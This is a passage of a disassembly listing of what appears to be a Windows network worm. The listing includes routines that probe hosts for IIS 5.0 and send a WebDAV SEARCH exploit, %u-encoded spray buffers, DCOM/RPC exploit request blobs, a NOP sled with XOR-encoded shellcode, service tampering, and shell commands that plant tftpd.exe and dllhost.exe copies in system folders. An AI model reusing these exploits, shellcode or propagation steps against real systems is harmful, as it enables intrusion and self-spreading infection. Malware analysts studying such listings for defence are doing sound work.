InterlockedDecrement pop esi xor eax, eax pop ebp add esp, 414h retn 4 sub_402B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402C40 proc near ; DATA XREF: sub_401470+E1o var_5AC = word ptr -5ACh var_5A8 = dword ptr -5A8h var_5A4 = dword ptr -5A4h var_594 = byte ptr -594h var_574 = byte ptr -574h var_2B8 = byte ptr -2B8h arg_0 = dword ptr 4 sub esp, 5ACh push ebx push ebp push esi push edi push offset dword_4075A4 call dword_404088 ; InterlockedIncrement mov dword ptr [esp+5BCh+var_5AC], 0BB8h mov eax, [esp+5BCh+arg_0] mov esi, [eax] push esi call sub_402AB0 add esp, 4 test eax, eax jz loc_402EC5 push 50h mov word ptr [esp+5C0h+var_5A8], 2 mov [esp+5C0h+var_5A4], esi call dword_404174 ; ntohs push 0 push 1 push 2 mov word ptr [esp+5C8h+var_5A8+2], ax call dword_404150 ; socket mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_402EC5 lea ecx, [esp+5BCh+var_5A8] push 10h push ecx push ebp call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz loc_402EBE push esi call dword_40415C ; inet_ntoa mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+5B8h+var_594] repne scasb not ecx sub edi, ecx push offset aConnectionKeep ; "\r\nConnection: Keep-Alive\r\n\r\n" mov eax, ecx mov esi, edi mov edi, edx lea edx, [esp+5BCh+var_574] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [esp+5BCh+var_594] push ecx push offset aGetHttp1_1Acce ; "GET / HTTP/1.1\r\nAccept: image/gif, imag"... push offset aSSS ; "%s%s%s" push edx call dword_40411C ; sprintf lea edi, [esp+5CCh+var_574] or ecx, 0FFFFFFFFh xor eax, eax add esp, 14h repne scasb not ecx dec ecx push 0 lea eax, [esp+5BCh+var_574] push ecx push eax push ebp call dword_404168 ; send cmp eax, 0FFFFFFFFh jz loc_402EBE mov ebx, dword_404164 lea ecx, [esp+5B8h+var_5A8] push 4 push ecx push 1006h push 0FFFFh push ebp call ebx ; dword_404164 push 0 lea edx, [esp+5BCh+var_2B8] push 2BBh push edx push ebp call dword_40416C ; recv cmp eax, 0FFFFFFFFh jz loc_402EBE test eax, eax jz loc_402EBE mov [esp+eax+5B8h+var_2B8], 0 lea eax, [esp+5B8h+var_2B8] push offset aServerMicrosof ; "Server: Microsoft-IIS/5.0" push eax call dword_404100 ; strstr add esp, 8 test eax, eax jz loc_402EBE push ebp call dword_404170 ; closesocket mov esi, dword_4040C8 push 64h call esi ; dword_4040C8 push 0 push 1 push 2 call dword_404150 ; socket mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_402EC5 lea ecx, [esp+5BCh+var_5A8] push 10h push ecx push ebp call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz loc_402EBE lea edx, [esp+5B8h+var_594] lea eax, [esp+5B8h+var_574] push edx push offset aSearchHttp1_1H ; "SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n" push eax call dword_40411C ; sprintf lea edi, [esp+5C4h+var_574] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5C0h+var_574] push ecx push ebp call dword_404168 ; send cmp eax, 0FFFFFFFFh jz loc_402EBE lea edx, [esp+5B8h+var_5A8] push 4 push edx push 1006h push 0FFFFh push ebp call ebx ; dword_404164 push 0 lea eax, [esp+5BCh+var_2B8] push 63h push eax push ebp call dword_40416C ; recv cmp eax, 0FFFFFFFFh jz short loc_402EBE test eax, eax jz short loc_402EBE lea ecx, [esp+5B8h+var_2B8] push offset a411 ; "411" push ecx mov [esp+eax+5C0h+var_2B8], 0 call dword_404100 ; strstr add esp, 8 test eax, eax jz short loc_402EBE push ebp call dword_404170 ; closesocket push 64h call esi ; dword_4040C8 push 0 push 1 push 2 call dword_404150 ; socket mov ebp, eax cmp ebp, 0FFFFFFFFh jz short loc_402EC5 lea edx, [esp+5BCh+var_5A8] push 10h push edx push ebp call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz short loc_402EBE push 64h call esi ; dword_4040C8 mov edx, ds:dword_4075A0 or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb not ecx dec ecx push ecx push edx push ebp call sub_402F50 add esp, 0Ch push 0BB8h call esi ; dword_4040C8 loc_402EBE: ; CODE XREF: sub_402C40+77j ; sub_402C40+E9j ... push ebp call dword_404170 ; closesocket loc_402EC5: ; CODE XREF: sub_402C40+31j ; sub_402C40+60j ... mov eax, [esp+5BCh+arg_0] pop edi pop esi pop ebp test eax, eax pop ebx jz short loc_402EDD push eax call sub_402FC6 add esp, 4 loc_402EDD: ; CODE XREF: sub_402C40+292j push offset dword_4075A4 call dword_404064 ; InterlockedDecrement xor eax, eax add esp, 5ACh retn 4 sub_402C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402F00 proc near ; CODE XREF: sub_401280+3Cp ; sub_401280+46p arg_0 = dword ptr 4 push esi push edi push 0F003Fh push 0 push 0 call dword_40402C ; OpenSCManagerA mov edi, eax test edi, edi jz short loc_402F4B mov eax, [esp+8+arg_0] push 0F01FFh push eax push edi call dword_404038 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_402F38 push edi call dword_404034 ; CloseServiceHandle pop edi pop esi retn ; --------------------------------------------------------------------------- loc_402F38: ; CODE XREF: sub_402F00+2Cj push esi call dword_40400C ; DeleteService push esi mov esi, dword_404034 call esi ; dword_404034 push edi call esi ; dword_404034 loc_402F4B: ; CODE XREF: sub_402F00+15j pop edi pop esi retn sub_402F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402F50 proc near ; CODE XREF: sub_402C40+26Fp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_8] xor ebx, ebx cmp edi, ebx mov [esp+14h+var_4], edi mov [esp+14h+arg_8], ebx jle short loc_402FA3 mov ebp, [esp+14h+arg_4] loc_402F6B: ; CODE XREF: sub_402F50+51j mov ecx, [esp+14h+arg_0] push 0 lea eax, [ebx+ebp] push edi push eax push ecx call dword_404168 ; send mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_402FAD test esi, esi jnz short loc_402F9B cmp [esp+14h+arg_8], 64h jge short loc_402FAD push 5 call dword_4040C8 ; Sleep inc [esp+14h+arg_8] loc_402F9B: ; CODE XREF: sub_402F50+36j sub edi, esi add ebx, esi test edi, edi jg short loc_402F6B loc_402FA3: ; CODE XREF: sub_402F50+15j mov eax, [esp+14h+var_4] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_402FAD: ; CODE XREF: sub_402F50+32j ; sub_402F50+3Dj pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx retn sub_402F50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402FC0 proc near ; CODE XREF: sub_401280+8Bp ; sub_401470+9Bp ... jmp dword_404108 sub_402FC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402FC6 proc near ; CODE XREF: sub_401C80+1EAp ; sub_402B20+FCp ... jmp dword_404138 sub_402FC6 endp ; --------------------------------------------------------------------------- loc_402FCC: ; CODE XREF: seg001:004091B8j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4041A8 push offset loc_403100 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push esi push edi mov [ebp-18h], esp and dword ptr [ebp-4], 0 push 1 call dword_404128 ; __set_app_type pop ecx or ds:dword_4076BC, 0FFFFFFFFh or ds:dword_4076C0, 0FFFFFFFFh call dword_404124 ; __p__fmode mov ecx, ds:dword_4076B8 mov [eax], ecx call dword_404118 ; __p__commode mov ecx, ds:dword_4076B4 mov [eax], ecx mov eax, dword_404114 mov eax, [eax] mov ds:dword_4076C4, eax call nullsub_1 cmp dword_406414, 0 jnz short loc_40304F push offset sub_4030FA call dword_404110 ; __setusermatherr pop ecx loc_40304F: ; CODE XREF: seg000:00403041j call sub_4030E8 push offset dword_40500C push offset dword_405008 call sub_4030E2 ; _initterm mov eax, ds:dword_4076B0 mov [ebp-28h], eax lea eax, [ebp-28h] push eax push ds:dword_4076AC lea eax, [ebp-20h] push eax lea eax, [ebp-2Ch] push eax lea eax, [ebp-1Ch] push eax call dword_4040F8 ; __getmainargs push offset dword_405004 push offset dword_405000 call sub_4030E2 ; _initterm call dword_40410C ; __p___initenv mov ecx, [ebp-20h] mov [eax], ecx push dword ptr [ebp-20h] push dword ptr [ebp-2Ch] push dword ptr [ebp-1Ch] call sub_4011C0 add esp, 30h mov [ebp-24h], eax push eax call dword_4040F0 ; exit mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-30h], ecx push eax push ecx call sub_4030DC ; _XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-30h] call dword_404134 ; _exit ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030DC proc near ; CODE XREF: seg000:004030C8p jmp dword_4040F4 sub_4030DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030E2 proc near ; CODE XREF: seg000:0040305Ep ; seg000:00403091p jmp dword_4040FC sub_4030E2 endp ; =============== S U B R O U T I N E ======================================= sub_4030E8 proc near ; CODE XREF: seg000:loc_40304Fp push 30000h push 10000h call sub_403106 ; _controlfp pop ecx pop ecx retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= sub_4030FA proc near ; DATA XREF: seg000:00403043o xor eax, eax retn sub_4030FA endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h loc_403100: ; DATA XREF: seg000:00402FD6o jmp dword_40412C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403106 proc near ; CODE XREF: sub_4030E8+Ap jmp dword_404130 sub_403106 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403110 proc near ; CODE XREF: sub_4016E0+10p jmp dword_40419C sub_403110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403116 proc near ; CODE XREF: sub_402AB0+53p jmp dword_404058 sub_403116 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40311C proc near ; CODE XREF: sub_402AB0+24p ; sub_402AB0+62p jmp dword_404050 sub_40311C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403122 proc near ; CODE XREF: sub_402AB0+2p jmp dword_404054 sub_403122 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403128 proc near ; CODE XREF: sub_401000+C0p jmp dword_4040DC sub_403128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40312E proc near ; CODE XREF: sub_401000+7Cp jmp dword_4040D8 sub_40312E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403134 proc near ; CODE XREF: sub_401000+62p jmp dword_4040D4 sub_403134 endp ; --------------------------------------------------------------------------- align 4 dd 3B1h dup(0) dword_404000 dd 77E36F61h ; resolved to->ADVAPI32.ChangeServiceConfig2Adword_404004 dd 77E377F9h ; resolved to->ADVAPI32.QueryServiceConfig2Adword_404008 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceAdword_40400C dd 77E37311h ; resolved to->ADVAPI32.DeleteServicedword_404010 dd 77DF0953h ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_404014 dd 77DEB193h ; resolved to->ADVAPI32.SetServiceStatusdword_404018 dd 77E37D39h ; resolved to->ADVAPI32.StartServiceCtrlDispatcherAdword_40401C dd 77DE5EB8h ; resolved to->ADVAPI32.QueryServiceStatus ; sub_402540+17Ar ... dword_404020 dd 77DF5462h ; resolved to->ADVAPI32.QueryServiceConfigAdword_404024 dd 77E36CC9h ; resolved to->ADVAPI32.ChangeServiceConfigAdword_404028 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_40402C dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_402540+11r ... dword_404030 dd 77E37071h ; resolved to->ADVAPI32.CreateServiceAdword_404034 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4023E0+11Dr ... dword_404038 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_402540+60r ... dword_40403C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_404040 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_404044 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessTokendword_404048 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA align 10h dword_404050 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandledword_404054 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFiledword_404058 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho align 10h dword_404060 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_404064 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_402C40+2A2r dword_404068 dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_40406C dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFreedword_404070 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcessdword_404074 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_402A00+77r dword_404078 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_402A00+8Br dword_40407C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_404080 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_404084 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_404088 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_402C40+Fr dword_40408C dd 7C80998Dh ; resolved to->KERNEL32.LocalAlloc ; sub_402540+7Er dword_404090 dd 7C80992Fh ; resolved to->KERNEL32.LocalFree ; sub_402540+1CFr dword_404094 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_404098 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_40409C dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_4040A0 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4040A4 dd 7C80BF3Dh ; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4040A8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_402970+Ar dword_4040AC dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_402A00+30r dword_4040B0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4040B4 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_401660+42r dword_4040B8 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_4040BC dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_401990+A1r ... dword_4040C0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401B90+4Cr ... dword_4040C4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401470+F9r ... dword_4040C8 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401280+6Cr ... dword_4040CC dd 7C87109Dh ; resolved to->KERNEL32.FreeConsoledword_4040D0 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4040D4 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_4040D8 dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_4040DC dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_4040E0 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401000+E1r ... dword_4040E4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_4040E8 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401780+1D3r ... align 10h dword_4040F0 dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_4040F4 dd 77C32DAEh ; resolved to->MSVCRT._XcptFilterdword_4040F8 dd 77C1EEEBh ; resolved to->MSVCRT.__getmainargsdword_4040FC dd 77C39D67h ; resolved to->MSVCRT._inittermdword_404100 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_401B90+80r ... dword_404104 dd 77C371BCh ; resolved to->MSVCRT.sranddword_404108 dd 77C29CC5h dword_40410C dd 77C1F1F1h ; resolved to->MSVCRT.__p___initenvdword_404110 dd 77C4D675h ; resolved to->MSVCRT.__setusermatherrdword_404114 dd 77C623D8h ; resolved to->MSVCRT._adjust_fdivdword_404118 dd 77C1F1A4h ; resolved to->MSVCRT.__p__commodedword_40411C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_4015E0+Er ... dword_404120 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_404124 dd 77C1F1DBh ; resolved to->MSVCRT.__p__fmodedword_404128 dd 77C3537Ch ; resolved to->MSVCRT.__set_app_typedword_40412C dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_404130 dd 77C4EE2Fh ; resolved to->MSVCRT._controlfpdword_404134 dd 77C39E9Ah ; resolved to->MSVCRT._exitdword_404138 dd 77C29CDDh dword_40413C dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_401280+12Br ... dword_404140 dd 77C4624Eh ; resolved to->MSVCRT._stricmp ; sub_4023E0+64r align 8 dword_404148 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx align 10h dword_404150 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_402B20+57r ... dword_404154 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_402C40+6Er ... dword_404158 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_40415C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_402C40+7Er dword_404160 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_401EA0+1Br dword_404164 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_401C80+41r ... dword_404168 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_401B90+1Er ... dword_40416C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_401B90+65r ... dword_404170 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_401990+15Dr ... dword_404174 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4020E0+7r ... dword_404178 dd 71AB3E00h ; resolved to->WS2_32.binddword_40417C dd 71AB4428h ; resolved to->WS2_32.WSACleanupdword_404180 dd 71AB88D3h ; resolved to->WS2_32.listendword_404184 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_401990+137r dword_404188 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_401990+20r dword_40418C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_404190 dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_404194 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_4020E0+27r ... dd 0 dword_40419C dd 42D779A3h dd 2 dup(0) dword_4041A8 dd 0FFFFFFFFh, 4030BCh, 4030D0h, 393h dup(0)dword_405000 dd 0 dword_405004 dd 0 dword_405008 dd 0 dword_40500C dd 0 aU5390U665eU66a db '%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f%u66ad%u4e3d%u740' ; DATA XREF: sub_401F30+A4o db '0%u9023%u612c%u5090%u6659%u90ad%u612c%u548d%u7088%u548d%u908a%u54' db '8d%u708a%u548d%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3%u6' db '099',0 align 4 aFfilomidomfafd db 'ffilomidomfafdfgfhinhnlaljbeaaaaaalimmmmmmmmpdklojieaaaaaaipefpai' ; DATA XREF: sub_401F30+C6o db 'nlnpeppppppgekbaaaaaaaaijehaigeijdnaaaaaaaamhefpeppppppppilefpaid' db 'oiahijefpiloaaaabaaaoideaaaaaaibmgaabaaaaaolagibmgaaeaaaaailagdne' db 'oeoeoeohfpbidmgaeikagegdmfjhfpjikagegdmfihfpcggknggdnfjfihfokppog' db 'olpofifailhnpaijehpcmdileeceamafliaaaaaamhaaeeddccbbddmamdolomoih' db 'hppppppcececece',0 align 10h aU5951U6858U759 db '%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759' ; DATA XREF: sub_401F30+45o db 'f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u68' db '58%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018',0 align 4 a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah db '<g:sql>',0Dh,0Ah db 'Select "DAV:displayname" from scope()',0Dh,0Ah db '</g:sql>',0Dh,0Ah db '</g:searchrequest>',0Dh,0Ah,0 word_40537C dw 3D30h ; DATA XREF: sub_401280+19Dr dw 3D9Fh dd 3D8B3D8Ah, 3D953D91h, 3D9D3D97h, 3DBC3DA1h, 3DE93DF3h dd 0DCA03D9Ah, 0CA64CA60h, 0CA68CA67h, 0CA71CA66h, 0CB5DCA82h dd 0CBD0CA62h, 0D20CCBCFh, 0D235D22Ah, 0D344D248h, 0D354D357h dd 0D360D35Ch, 0D353D362h, 0D3A1D35Fh, 0D3A3D3A2h, 0D39CD390h dd 0DA6DD39Eh, 0DA05DA04h, 0DA47DA11h, 0DA6ADA00h, 0DB91DAC7h dd 0DA06DA08h, 0DA58DA3Fh, 0DA45DA59h, 0DA4BDA3Fh, 0DA68DA55h dd 0DB8ADAC5h, 0DBEADBDEh, 0DCA0DC6Dh, 0DC75DCA3h, 0DCB9DCA2h dd 0DC71DCBAh, 0DCA6DC70h off_405414 dd offset aHttpDownload_m ; DATA XREF: sub_401780:loc_4018AFr ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_1 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_2 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_3 ; "http://download.microsoft.com/download/"... off_405424 dd offset aHttpDownload_0 ; DATA XREF: sub_401780+120r ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_4 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_5 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_6 ; "http://download.microsoft.com/download/"... dword_405434 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2 dword_40547C dd 3000005h, 10hdword_405484 dd 3E8h dd 0E5h, 3D0h, 40001h, 60005h, 1, 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 2 dup(0) dword_4057DC dd 20h ; sub_402170+29w dword_4057E0 dd 0 dword_4057E4 dd 20h ; sub_402170+2Ew dword_4057E8 dd 5C005Ch aC1234561111111: ; DATA XREF: sub_402170+7Bo unicode 0, <\C$\123456111111111111111.doc>,0 aFxnbfxfxnbfxfx: ; DATA XREF: sub_402170+55o unicode 0, <FXNBFXFXNBFXFXFXFX> dword_40584C dd 7F08321Ah db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh db 126h dup(90h) ; --------------------------------------------------------------------------- loc_40597E: ; DATA XREF: sub_401F30+13Co jmp short loc_405990 ; =============== S U B R O U T I N E ======================================= sub_405980 proc far ; CODE XREF: sub_405980:loc_405990p pop edx dec edx xor ecx, ecx mov cx, 176h loc_405988: ; CODE XREF: sub_405980+Cj xor byte ptr [edx+ecx], 99h loop loc_405988 jmp short loc_405995 ; --------------------------------------------------------------------------- loc_405990: ; CODE XREF: seg000:loc_40597Ej call near ptr sub_405980 loc_405995: ; CODE XREF: sub_405980+Ej jo short loc_4059F8 cdq cdq cdq retn ; --------------------------------------------------------------------------- db 21h dd 0E6646995h, 0E9129912h, 0D9123485h, 12411291h, 6A9AA5EAh dd 9AE1EF12h, 0B9E7126Ah, 0D712629Ah, 0CF74AA8Dh, 0A612C8CEh dd 6B12629Ah, 6AC097F3h, 0C091ED3Fh, 9D5E1AC6h, 0C0707BDCh dd 5412C7C6h, 9ABDDF12h, 9A78485Ah, 0FF50AA58h, 0DF129112h dd 585A9A85h, 589A9B78h, 5A9A9912h ; --------------------------------------------------------------------------- loc_4059F8: ; CODE XREF: sub_405980:loc_405995j adc ah, [ebx+12h] outsb sbb bl, [edi-69h] adc cl, [ecx-0Dh] call far ptr 9999h:99ED71C0h sbb bl, [edi-6Ch] retf sub_405980 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0CFh, 66h, 0CEh dd 4112C365h, 71C09AF3h, 999999F8h, 12DD751Ah, 0C089F36Dh dd 7B179D10h, 0C9C9C962h, 0F398F3C9h, 6DCE669Bh, 0C7104112h dd 0A5C710A1h, 0FFD9C710h, 98B5DF5Eh, 89DE1498h, 59AACFC9h dd 0F3C9C9C9h, 14C9C998h, 9B5EA5CEh, 99FDF4FAh, 0CE66C9CBh dd 9B9E5E71h, 5E9B9999h, 0FAFA9DDEh, 89F3FAFAh, 0CE66CACEh dd 0CE66CA61h, 0CE66C965h, 3559AA75h, 60EC591Ch, 0CACFCBC8h dd 0C0C34B66h, 0AA777B32h, 9A715A59h, 0DE666666h, 0EBC9EDFCh dd 0FDD8FAF6h, 0EAFCEBFDh, 0EBDA99EAh, 0FCEDF8FCh, 0FAF6EBC9h dd 0D8EAEAFCh, 0F0E1DC99h, 0EBF1CDEDh, 99FDF8FCh, 0FDF8F6D5h dd 0EBFBF0D5h, 0D8E0EBF8h, 0ABEAEE99h, 99ABAAC6h, 0CAD8CACEh dd 0FCF2FAF6h, 0FA99D8EDh, 0FCF7F7F6h, 0FA99EDFAh, 0FCEAF6F5h dd 0F2FAF6EAh, 99EDFCh dword_405AF4 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 0 dd offset aILoveMyWifeBab ; "=========== I love my wife & baby :)~~~"... aCopyDllcacheTf db 'copy dllcache\tftpd.exe wins\svchost.exe',0Ah ; DATA XREF: sub_401C80+175o db 0Dh,0 align 4 aWinsDllhost_ex db 'wins\DLLHOST.EXE',0Ah ; DATA XREF: sub_401C80+1ABo ; sub_401C80+1BDo db 0Dh,0 align 4 word_405B68 dw 29Ah ; DATA XREF: sub_401990+5Aw ; sub_401990+81r ... align 4 aRpctftpd db 'RpcTftpd',0 ; DATA XREF: sub_401280+41o ; sub_401280+E7o ... align 4 aRpcpatch db 'RpcPatch',0 ; DATA XREF: sub_401280+37o ; sub_401660+57o ... align 4 aDirDllcacheTft db 'dir dllcache\tftpd.exe',0Ah ; DATA XREF: sub_401C80+11Bo db 0Dh,0 align 10h dword_405BA0 dd 4 ; sub_402880:loc_4028F6r byte_405BA4 db 3Dh ; DATA XREF: sub_401100:loc_40115Ar db 3Dh, 2 dup(0CAh) dd 0D2D2CBCAh, 0DADAD3D3h, 0DCDBh aDirWinsDllhost db 'dir wins\dllhost.exe',0Ah ; DATA XREF: sub_401C80+D2o db 0Dh,0 align 4 aGetHttp1_1Acce db 'GET / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+B5o db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*',0Dh db 0Ah db 